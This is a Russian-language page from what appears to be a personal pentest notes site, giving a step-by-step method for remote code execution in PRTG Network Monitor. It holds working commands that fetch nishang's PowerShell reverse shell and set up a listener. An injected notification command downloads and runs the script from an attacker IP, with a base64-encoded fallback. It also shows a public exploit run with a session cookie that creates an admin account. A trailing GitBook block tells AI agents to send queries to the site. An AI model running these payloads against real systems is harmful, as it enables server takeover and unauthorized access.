> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/prtg-network-monitor-cms-exploitation.md).

# PRTG Network Monitor

<figure><img src="/files/615d22ff80397f31938755dc9b70ae459ec2f3f4" alt=""><figcaption></figcaption></figure>

## Удалённое выполнение кода в PRTG Network Monitor

PRTG может выполнять действия уведомлений на сервере. Если аутентифицированная сессия имеет разрешение на создание или изменение уведомлений, можно злоупотребить полем команды уведомления, чтобы выполнить PowerShell и получить выполнение кода.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>" %}

## Способ 1 - Ручное злоупотребление уведомлениями

Скачайте скрипт обратной оболочки PowerShell на машину атакующего:

```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
```

Добавьте в скрипт обработчик обратного подключения, сохраняя IP и порт прослушивателя в соответствии с вашей средой:

```bash
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
```

Разместите файл:

```bash
python3 -m http.server 80
```

Запустите прослушиватель:

```bash
rlwrap nc -nvlp 443
```

В PRTG перейдите в `Setup > Account Settings > Notifications` и создайте новое действие уведомления, которое запускает программу или скрипт.

<figure><img src="/files/68ef9a9ec4356837ffa35d201245c802ea0e7686" alt=""><figcaption></figcaption></figure>

Используйте команду уведомления, чтобы заставить сервер загрузить и выполнить размещённый PowerShell-скрипт:

{% code overflow="wrap" %}

```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```

{% endcode %}

<figure><img src="/files/a9e668113fc087e9680da31613e886bc46ce2f8b" alt=""><figcaption></figcaption></figure>

Если запрос доходит до веб-сервера, но обратная оболочка не подключается обратно, преобразуйте скрипт PowerShell в Base64 UTF-16LE и используйте PowerShell `-enc`:

```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```

Затем поместите закодированную полезную нагрузку в команду уведомления:

```powershell
abc.txt | powershell -enc <BASE64_PAYLOAD>
```

<figure><img src="/files/d8c9ee591e4e7acd78fae7948b675d8305f372c5" alt=""><figcaption></figcaption></figure>

## Способ 2 - Автоматизированный эксплойт

Найдите публичные эксплойты для PRTG Network Monitor и скопируйте подходящий скрипт:

```bash
searchsploit -m windows/webapps/46527.sh
```

<figure><img src="/files/1aa282db5d52a83d861de5a3f732c9a936adb092" alt=""><figcaption></figcaption></figure>

Запустите скрипт с целевым URL и cookie аутентифицированной сессии:

{% code overflow="wrap" %}

```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```

{% endcode %}

Эксплойт создаёт нового пользователя:

* Имя пользователя: `pentest`
* Пароль: `P3nT3st!`

<figure><img src="/files/889b6b102f9f711afecfaa92a5983a0c2872c26b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/prtg-network-monitor-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
